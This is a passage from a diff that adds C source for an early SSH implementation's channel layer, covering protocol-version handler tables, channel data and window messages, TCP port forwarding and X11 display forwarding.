&channel_post_port_listener; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; +} + +void +channel_handler_init_13(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_13; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open_13; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_INPUT_DRAINING] = &channel_pre_input_draining; + channel_pre[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_pre_output_draining; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_post_output_drain_13; +} + +void +channel_handler_init_15(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_15; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; +} + +void +channel_handler_init(void) +{ + int i; + for(i = 0; i < SSH_CHANNEL_MAX_TYPE; i++) { + channel_pre[i] = NULL; + channel_post[i] = NULL; + } + if (compat20) + channel_handler_init_20(); + else if (compat13) + channel_handler_init_13(); + else + channel_handler_init_15(); +} + +void +channel_handler(chan_fn *ftab[], fd_set * readset, fd_set * writeset) +{ + static int did_init = 0; + int i; + Channel *c; + + if (!did_init) { + channel_handler_init(); + did_init = 1; + } + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_FREE) + continue; + if (ftab[c->type] == NULL) + continue; + (*ftab[c->type])(c, readset, writeset); + chan_delete_if_full_closed(c); + } +} + +void +channel_prepare_select(fd_set * readset, fd_set * writeset) +{ + channel_handler(channel_pre, readset, writeset); +} + +void +channel_after_select(fd_set * readset, fd_set * writeset) +{ + channel_handler(channel_post, readset, writeset); +} + +/* If there is data to send to the connection, send some of it now. */ + +void +channel_output_poll() +{ + int len, i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + + /* We are only interested in channels that can have buffered incoming data. */ + if (compat13) { + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_INPUT_DRAINING) + continue; + } else { + if (c->type != SSH_CHANNEL_OPEN) + continue; + if (c->istate != CHAN_INPUT_OPEN && + c->istate != CHAN_INPUT_WAIT_DRAIN) + continue; + } + if (compat20 && + (c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD))) { + debug("channel: %d: no data after CLOSE", c->self); + continue; + } + + /* Get the amount of buffered data for this channel. */ + len = buffer_len(&c->input); + if (len > 0) { + /* Send some data for the other side over the secure connection. */ + if (compat20) { + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + } else { + if (packet_is_interactive()) { + if (len > 1024) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()/2) + len = packet_get_maxsize()/2; + } + } + if (len > 0) { + packet_start(compat20 ? + SSH2_MSG_CHANNEL_DATA : SSH_MSG_CHANNEL_DATA); + packet_put_int(c->remote_id); + packet_put_string(buffer_ptr(&c->input), len); + packet_send(); + buffer_consume(&c->input, len); + c->remote_window -= len; + } + } else if (c->istate == CHAN_INPUT_WAIT_DRAIN) { + if (compat13) + fatal("cannot happen: istate == INPUT_WAIT_DRAIN for proto 1.3"); + /* + * input-buffer is empty and read-socket shutdown: + * tell peer, that we will not send more data: send IEOF + */ + chan_ibuf_empty(c); + } + /* Send extended data, i.e. stderr */ + if (compat20 && + c->remote_window > 0 && + (len = buffer_len(&c->extended)) > 0 && + c->extended_usage == CHAN_EXTENDED_READ) { + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + packet_start(SSH2_MSG_CHANNEL_EXTENDED_DATA); + packet_put_int(c->remote_id); + packet_put_int(SSH2_EXTENDED_DATA_STDERR); + packet_put_string(buffer_ptr(&c->extended), len); + packet_send(); + buffer_consume(&c->extended, len); + c->remote_window -= len; + } + } +} + +/* + * This is called when a packet of type CHANNEL_DATA has just been received. + * The message type has already been consumed, but channel number and data is + * still there. + */ + +void +channel_input_data(int type, int plen) +{ + int id; + char *data; + unsigned int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received data for nonexistent channel %d.", id); + + /* Ignore any data for non-open channels (might happen on close) */ + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_X11_OPEN) + return; + + /* same for protocol 1.5 if output end is no longer open */ + if (!compat13 && c->ostate != CHAN_OUTPUT_OPEN) + return; + + /* Get the data. */ + data = packet_get_string(&data_len); + packet_done(); + + if (compat20){ + if (data_len > c->local_maxpacket) { + log("channel %d: rcvd big packet %d, maxpack %d", + c->self, data_len, c->local_maxpacket); + } + if (data_len > c->local_window) { + log("channel %d: rcvd too much data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + c->local_window -= data_len; + }else{ + packet_integrity_check(plen, 4 + 4 + data_len, type); + } + buffer_append(&c->output, data, data_len); + xfree(data); +} +void +channel_input_extended_data(int type, int plen) +{ + int id; + int tcode; + char *data; + unsigned int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL) + packet_disconnect("Received extended_data for bad channel %d.", id); + if (c->type != SSH_CHANNEL_OPEN) { + log("channel %d: ext data for non open", id); + return; + } + tcode = packet_get_int(); + if (c->efd == -1 || + c->extended_usage != CHAN_EXTENDED_WRITE || + tcode != SSH2_EXTENDED_DATA_STDERR) { + log("channel %d: bad ext data", c->self); + return; + } + data = packet_get_string(&data_len); + packet_done(); + if (data_len > c->local_window) { + log("channel %d: rcvd too much extended_data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + debug("channel %d: rcvd ext data %d", c->self, data_len); + c->local_window -= data_len; + buffer_append(&c->extended, data, data_len); + xfree(data); +} + + +/* + * Returns true if no channel has too much buffered data, and false if one or + * more channel is overfull. + */ + +int +channel_not_very_much_buffered_data() +{ + unsigned int i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_OPEN) { + if (!compat20 && buffer_len(&c->input) > packet_get_maxsize()) { + debug("channel %d: big input buffer %d", + c->self, buffer_len(&c->input)); + return 0; + } + if (buffer_len(&c->output) > packet_get_maxsize()) { + debug("channel %d: big output buffer %d", + c->self, buffer_len(&c->output)); + return 0; + } + } + } + return 1; +} + +void +channel_input_ieof(int type, int plen) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received ieof for nonexistent channel %d.", id); + chan_rcvd_ieof(c); +} + +void +channel_input_close(int type, int plen) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received close for nonexistent channel %d.", id); + + /* + * Send a confirmation that we have closed the channel and no more + * data is coming for it. + */ + packet_start(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION); + packet_put_int(c->remote_id); + packet_send(); + + /* + * If the channel is in closed state, we have sent a close request, + * and the other side will eventually respond with a confirmation. + * Thus, we cannot free the channel here, because then there would be + * no-one to receive the confirmation. The channel gets freed when + * the confirmation arrives. + */ + if (c->type != SSH_CHANNEL_CLOSED) { + /* + * Not a closed channel - mark it as draining, which will + * cause it to be freed later. + */ + buffer_consume(&c->input, buffer_len(&c->input)); + c->type = SSH_CHANNEL_OUTPUT_DRAINING; + } +} + +/* proto version 1.5 overloads CLOSE_CONFIRMATION with OCLOSE */ +void +channel_input_oclose(int type, int plen) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + packet_integrity_check(plen, 4, type); + if (c == NULL) + packet_disconnect("Received oclose for nonexistent channel %d.", id); + chan_rcvd_oclose(c); +} + +void +channel_input_close_confirmation(int type, int plen) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + + packet_done(); + if (c == NULL) + packet_disconnect("Received close confirmation for " + "out-of-range channel %d.", id); + if (c->type != SSH_CHANNEL_CLOSED) + packet_disconnect("Received close confirmation for " + "non-closed channel %d (type %d).", id, c->type); + channel_free(c->self); +} + +void +channel_input_open_confirmation(int type, int plen) +{ + int id, remote_id; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4 + 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open confirmation for " + "non-opening channel %d.", id); + remote_id = packet_get_int(); + /* Record the remote channel number and mark that the channel is now open. */ + c->remote_id = remote_id; + c->type = SSH_CHANNEL_OPEN; + + if (compat20) { + c->remote_window = packet_get_int(); + c->remote_maxpacket = packet_get_int(); + packet_done(); + if (c->cb_fn != NULL && c->cb_event == type) { + debug("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug("callback done"); + } + debug("channel %d: open confirm rwindow %d rmax %d", c->self, + c->remote_window, c->remote_maxpacket); + } +} + +void +channel_input_open_failure(int type, int plen) +{ + int id; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open failure for " + "non-opening channel %d.", id); + if (compat20) { + int reason = packet_get_int(); + char *msg = packet_get_string(NULL); + char *lang = packet_get_string(NULL); + log("channel_open_failure: %d: reason %d: %s", id, reason, msg); + packet_done(); + xfree(msg); + xfree(lang); + } + /* Free the channel. This will also close the socket. */ + channel_free(id); +} + +void +channel_input_channel_request(int type, int plen) +{ + int id; + Channel *c; + + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || + (c->type != SSH_CHANNEL_OPEN && c->type != SSH_CHANNEL_LARVAL)) + packet_disconnect("Received request for " + "non-open channel %d.", id); + if (c->cb_fn != NULL && c->cb_event == type) { + debug("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug("callback done"); + } else { + char *service = packet_get_string(NULL); + debug("channel: %d rcvd request for %s", c->self, service); +debug("cb_fn %p cb_event %d", c->cb_fn , c->cb_event); + xfree(service); + } +} + +void +channel_input_window_adjust(int type, int plen) +{ + Channel *c; + int id, adjust; + + if (!compat20) + return; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || c->type != SSH_CHANNEL_OPEN) { + log("Received window adjust for " + "non-open channel %d.", id); + return; + } + adjust = packet_get_int(); + packet_done(); + debug("channel %d: rcvd adjust %d", id, adjust); + c->remote_window += adjust; +} + +/* + * Stops listening for channels, and removes any unix domain sockets that we + * might have. + */ + +void +channel_stop_listening() +{ + int i; + for (i = 0; i < channels_alloc; i++) { + switch (channels[i].type) { + case SSH_CHANNEL_AUTH_SOCKET: + close(channels[i].sock); + remove(channels[i].path); + channel_free(i); + break; + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_X11_LISTENER: + close(channels[i].sock); + channel_free(i); + break; + default: + break; + } + } +} + +/* + * Closes the sockets/fds of all channels. This is used to close extra file + * descriptors after a fork. + */ + +void +channel_close_all() +{ + int i; + for (i = 0; i < channels_alloc; i++) + if (channels[i].type != SSH_CHANNEL_FREE) + channel_close_fds(&channels[i]); +} + +/* Returns the maximum file descriptor number used by the channels. */ + +int +channel_max_fd() +{ + return channel_max_fd_value; +} + +/* Returns true if any channel is still open. */ + +int +channel_still_open() +{ + unsigned int i; + for (i = 0; i < channels_alloc; i++) + switch (channels[i].type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + continue; + case SSH_CHANNEL_LARVAL: + if (!compat20) + fatal("cannot happen: SSH_CHANNEL_LARVAL"); + continue; + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + return 1; + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + if (!compat13) + fatal("cannot happen: OUT_DRAIN"); + return 1; + default: + fatal("channel_still_open: bad channel type %d", channels[i].type); + /* NOTREACHED */ + } + return 0; +} + +/* + * Returns a message describing the currently open forwarded connections, + * suitable for sending to the client. The message contains crlf pairs for + * newlines. + */ + +char * +channel_open_message() +{ + Buffer buffer; + int i; + char buf[512], *cp; + + buffer_init(&buffer); + snprintf(buf, sizeof buf, "The following connections are open:\r\n"); + buffer_append(&buffer, buf, strlen(buf)); + for (i = 0; i < channels_alloc; i++) { + Channel *c = &channels[i]; + switch (c->type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + continue; + case SSH_CHANNEL_LARVAL: + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + snprintf(buf, sizeof buf, " #%d %.300s (t%d r%d i%d/%d o%d/%d fd %d/%d)\r\n", + c->self, c->remote_name, + c->type, c->remote_id, + c->istate, buffer_len(&c->input), + c->ostate, buffer_len(&c->output), + c->rfd, c->wfd); + buffer_append(&buffer, buf, strlen(buf)); + continue; + default: + fatal("channel_open_message: bad channel type %d", c->type); + /* NOTREACHED */ + } + } + buffer_append(&buffer, "\0", 1); + cp = xstrdup(buffer_ptr(&buffer)); + buffer_free(&buffer); + return cp; +} + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. + */ + +void +channel_request_local_forwarding(u_short port, const char *host, + u_short host_port, int gateway_ports) +{ + int success, ch, sock, on = 1; + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + struct linger linger; + + if (strlen(host) > sizeof(channels[0].path) - 1) + packet_disconnect("Forward host name too long."); + + /* + * getaddrinfo returns a loopback address if the hostname is + * set to NULL and hints.ai_flags is not AI_PASSIVE + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = gateway_ports ? AI_PASSIVE : 0; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if (getaddrinfo(NULL, strport, &hints, &aitop) != 0) + packet_disconnect("getaddrinfo: fatal error"); + + success = 0; + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("channel_request_local_forwarding: getnameinfo failed"); + continue; + } + /* Create a port to listen for the host. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + /* this is no error since kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + /* + * Set socket options. We would like the socket to disappear + * as soon as it has been closed for whatever reason. + */ + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); + debug("Local forwarding listening on %s port %s.", ntop, strport); + + /* Bind the socket to the address. */ + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + /* address can be in use ipv6 address is already bound */ + if (!ai->ai_next) + error("bind: %.100s", strerror(errno)); + else + verbose("bind: %.100s", strerror(errno)); + + close(sock); + continue; + } + /* Start listening for connections on the socket. */ + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + close(sock); + continue; + } + /* Allocate a channel number for the socket. */ + ch = channel_new( + "port listener", SSH_CHANNEL_PORT_LISTENER, + sock, sock, -1, + CHAN_TCP_WINDOW_DEFAULT, CHAN_TCP_PACKET_DEFAULT, + 0, xstrdup("port listener")); + strlcpy(channels[ch].path, host, sizeof(channels[ch].path)); + channels[ch].host_port = host_port; + channels[ch].listening_port = port; + success = 1; + } + if (success == 0) + packet_disconnect("cannot listen port: %d", port); + freeaddrinfo(aitop); +} + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. + */ + +void +channel_request_remote_forwarding(u_short listen_port, const char *host_to_connect, + u_short port_to_connect) +{ + int payload_len; + /* Record locally that connection to this host/port is permitted. */ + if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("channel_request_remote_forwarding: too many forwards"); + + permitted_opens[num_permitted_opens].host_to_connect = xstrdup(host_to_connect); + permitted_opens[num_permitted_opens].port_to_connect = port_to_connect; + permitted_opens[num_permitted_opens].listen_port = listen_port; + num_permitted_opens++; + + /* Send the forward request to the remote side. */ + if (compat20) { + const char *address_to_bind = "0.0.0.0"; + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring("tcpip-forward"); + packet_put_char(0); /* boolean: want reply */ + packet_put_cstring(address_to_bind); + packet_put_int(listen_port); + } else { + packet_start(SSH_CMSG_PORT_FORWARD_REQUEST); + packet_put_int(listen_port); + packet_put_cstring(host_to_connect); + packet_put_int(port_to_connect); + packet_send(); + packet_write_wait(); + /* + * Wait for response from the remote side. It will send a disconnect + * message on failure, and we will never see it here. + */ + packet_read_expect(&payload_len, SSH_SMSG_SUCCESS); + } +} + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ + +void +channel_input_port_forward_request(int is_root, int gateway_ports) +{ + u_short port, host_port; + char *hostname; + + /* Get arguments from the packet. */ + port = packet_get_int(); + hostname = packet_get_string(NULL); + host_port = packet_get_int(); + + /* + * Check that an unprivileged user is not trying to forward a + * privileged port. + */ + if (port < IPPORT_RESERVED && !is_root) + packet_disconnect("Requested forwarding of port %d but user is not root.", + port); + /* + * Initiate forwarding, + */ + channel_request_local_forwarding(port, hostname, host_port, gateway_ports); + + /* Free the argument string. */ + xfree(hostname); +} + +/* XXX move to aux.c */ +int +channel_connect_to(const char *host, u_short host_port) +{ + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int gaierr; + int sock = -1; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", host_port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) { + error("%.100s: unknown host (%s)", host, gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("channel_connect_to: getnameinfo failed"); + continue; + } + /* Create the socket. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + error("socket: %.100s", strerror(errno)); + continue; + } + /* Connect to the host/port. */ + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + error("connect %.100s port %s: %.100s", ntop, strport, + strerror(errno)); + close(sock); + continue; /* fail -- try next */ + } + break; /* success */ + + } + freeaddrinfo(aitop); + if (!ai) { + error("connect %.100s port %d: failed.", host, host_port); + return -1; + } + /* success */ + return sock; +} + +/* + * This is called after receiving PORT_OPEN message. This attempts to + * connect to the given host:port, and sends back CHANNEL_OPEN_CONFIRMATION + * or CHANNEL_OPEN_FAILURE. + */ + +void +channel_input_port_open(int type, int plen) +{ + u_short host_port; + char *host, *originator_string; + int remote_channel, sock = -1, newch, i, denied; + unsigned int host_len, originator_len; + + /* Get remote channel number. */ + remote_channel = packet_get_int(); + + /* Get host name to connect to. */ + host = packet_get_string(&host_len); + + /* Get port to connect to. */ + host_port = packet_get_int(); + + /* Get remote originator name. */ + if (have_hostname_in_open) { + originator_string = packet_get_string(&originator_len); + originator_len += 4; /* size of packet_int */ + } else { + originator_string = xstrdup("unknown (remote did not supply name)"); + originator_len = 0; /* no originator supplied */ + } + + packet_integrity_check(plen, + 4 + 4 + host_len + 4 + originator_len, SSH_MSG_PORT_OPEN); + + /* Check if opening that port is permitted. */ + denied = 0; + if (!all_opens_permitted) { + /* Go trough all permitted ports. */ + for (i = 0; i < num_permitted_opens; i++) + if (permitted_opens[i].port_to_connect == host_port && + strcmp(permitted_opens[i].host_to_connect, host) == 0) + break; + + /* Check if we found the requested port among those permitted. */ + if (i >= num_permitted_opens) { + /* The port is not permitted. */ + log("Received request to connect to %.100s:%d, but the request was denied.", + host, host_port); + denied = 1; + } + } + sock = denied ? -1 : channel_connect_to(host, host_port); + if (sock > 0) { + /* Allocate a channel for this connection. */ + newch = channel_allocate(SSH_CHANNEL_OPEN, sock, originator_string); + channels[newch].remote_id = remote_channel; + + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } else { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } + xfree(host); +} + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ + +#define NUM_SOCKS 10 + +char * +x11_create_display_inet(int screen_number, int x11_display_offset) +{ + int display_number, sock; + u_short port; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr, n, num_socks = 0, socks[NUM_SOCKS]; + char display[512]; + char hostname[MAXHOSTNAMELEN]; + + for (display_number = x11_display_offset; + display_number < MAX_DISPLAYS; + display_number++) { + port = 6000 + display_number; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = AI_PASSIVE; /* XXX loopback only ? */ + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(NULL, strport, &hints, &aitop)) != 0) { + error("getaddrinfo: %.100s", gai_strerror(gaierr)); + return NULL; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + if (errno != EINVAL) { + error("socket: %.100s", strerror(errno)); + return NULL; + } else { + debug("Socket family %d not supported [X11 disp create]", ai->ai_family); + continue; + } + } + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("bind port %d: %.100s", port, strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + + if (ai->ai_next) + continue; + + for (n = 0; n < num_socks; n++) { + shutdown(socks[n], SHUT_RDWR); + close(socks[n]); + } + num_socks = 0; + break; + } + socks[num_socks++] = sock; +#ifndef DONT_TRY_OTHER_AF + if (num_socks == NUM_SOCKS) + break; +#else + break; +#endif + } + if (num_socks > 0) + break; + } + if (display_number >= MAX_DISPLAYS) { + error("Failed to allocate internet-domain X11 display socket."); + return NULL; + } + /* Start listening for connections on the socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + return NULL; + } + } + + /* Set up a suitable value for the DISPLAY variable. */ + + if (gethostname(hostname, sizeof(hostname)) < 0) + fatal("gethostname: %.100s", strerror(errno)); + +#ifdef IPADDR_IN_DISPLAY + /* + * HPUX detects the local hostname in the DISPLAY variable and tries + * to set up a shared memory connection to the server, which it + * incorrectly supposes to be local. + * + * The workaround - as used in later $$H and other programs - is + * is to set display to the host's IP address. + */ + { + struct hostent *he; + struct in_addr my_addr; + + he = gethostbyname(hostname); + if (he == NULL) { + error("[X11-broken-fwd-hostname-workaround] Could not get " + "IP address for hostname %s.", hostname); + + packet_send_debug("[X11-broken-fwd-hostname-workaround]" + "Could not get IP address for hostname %s.", hostname); + + shutdown(sock, SHUT_RDWR); + close(sock); + + return NULL; + } + + memcpy(&my_addr, he->h_addr_list[0], sizeof(struct in_addr)); + + /* Set DISPLAY to :screen.display */ + snprintf(display, sizeof(display), "%.50s:%d.%d", inet_ntoa(my_addr), + display_number, screen_number); + } +#else /* IPADDR_IN_DISPLAY */ + /* Just set DISPLAY to hostname:screen.display */ + snprintf(display, sizeof display, "%.400s:%d.%d", hostname, + display_number, screen_number); +#endif /* IPADDR_IN_DISPLAY */ + + /* Allocate a channel for each socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + (void) channel_new("x11 listener", + SSH_CHANNEL_X11_LISTENER, sock, sock, -1, + CHAN_X11_WINDOW_DEFAULT, CHAN_X11_PACKET_DEFAULT, + 0, xstrdup("X11 inet listener")); + } + + /* Return a suitable value for the DISPLAY environment variable. */ + return xstrdup(display); +} + +#ifndef X_UNIX_PATH +#define X_UNIX_PATH "/tmp/.X11-unix/X" +#endif + +static +int +connect_local_xsocket(unsigned int dnr) +{ + static const char *const x_sockets[] = { + X_UNIX_PATH "%u", + "/var/X/.X11-unix/X" "%u", + "/usr/spool/sockets/X11/" "%u", + NULL + }; + int sock; + struct sockaddr_un addr; + const char *const * path; + + for (path = x_sockets; *path; ++path) { + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + error("socket: %.100s", strerror(errno)); + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + snprintf(addr.sun_path, sizeof addr.sun_path, *path, dnr); + if (connect(sock, (struct sockaddr *) & addr, sizeof(addr)) == 0) + return sock; + close(sock); + } + error("connect %.100s: %.100s", addr.sun_path, strerror(errno)); + return -1; +} + +int +x11_connect_display(void) +{ + int display_number, sock = 0; + const char *display; + char buf[1024], *cp; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + + /* Try to open a socket for the local X server. */ + display = getenv("DISPLAY"); + if (!display) { + error("DISPLAY not set."); + return -1; + } + /* + * Now we decode the value of the DISPLAY variable and make a + * connection to the real X server. + */ + + /* + * Check if it is a unix domain socket. Unix domain displays are in + * one of the following formats: unix:d[.s], :d[.s], ::d[.s] + */ + if (strncmp(display, "unix:", 5) == 0 || + display[0] == ':') { + /* Connect to the unix domain socket. */ + if (sscanf(strrchr(display, ':') + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + /* Create a socket. */ + sock = connect_local_xsocket(display_number); + if (sock < 0) + return -1; + + /* OK, we now have a connection to the display. */ + return sock; + } + /* + * Connect to an inet socket. The DISPLAY value is supposedly + * hostname:d[.s], where hostname may also be numeric IP address. + */ + strncpy(buf, display, sizeof(buf)); + buf[sizeof(buf) - 1] = 0; + cp = strchr(buf, ':'); + if (!cp) { + error("Could not find ':' in DISPLAY: %.100s", display); + return -1; + } + *cp = 0; + /* buf now contains the host name. But first we parse the display number. */ + if (sscanf(cp + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + + /* Look up the host address */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", 6000 + display_number); + if ((gaierr = getaddrinfo(buf, strport, &hints, &aitop)) != 0) { + error("%.100s: unknown host. (%s)", buf, gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + /* Create a socket. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + debug("socket: %.100s", strerror(errno)); + continue; + } + /* Connect it to the display. */ + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("connect %.100s port %d: %.100s", buf, + 6000 + display_number, strerror(errno)); + close(sock); + continue; + } + /* Success */ + break; + } + freeaddrinfo(aitop); + if (!ai) { + error("connect %.100s port %d: %.100s", buf, 6000 + display_number, + strerror(errno)); + return -1; + } + return sock; +} + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ + +void +x11_input_open(int type, int plen) +{ + int remote_channel, sock = 0, newch; + char *remote_host; + unsigned int remote_len; + + /* Get remote channel number. */ + remote_channel = packet_get_int(); + + /* Get remote originator name. */ + if (have_hostname_in_open) { + remote_host = packet_get_string(&remote_len); + remote_len += 4; + } else { + remote_host = xstrdup("unknown (remote did not supply name)"); + remote_len = 0; + } + + debug("Received X11 open request."); + packet_integrity_check(plen, 4 + remote_len, SSH_SMSG_X11_OPEN); + + /* Obtain a connection to the real X display. 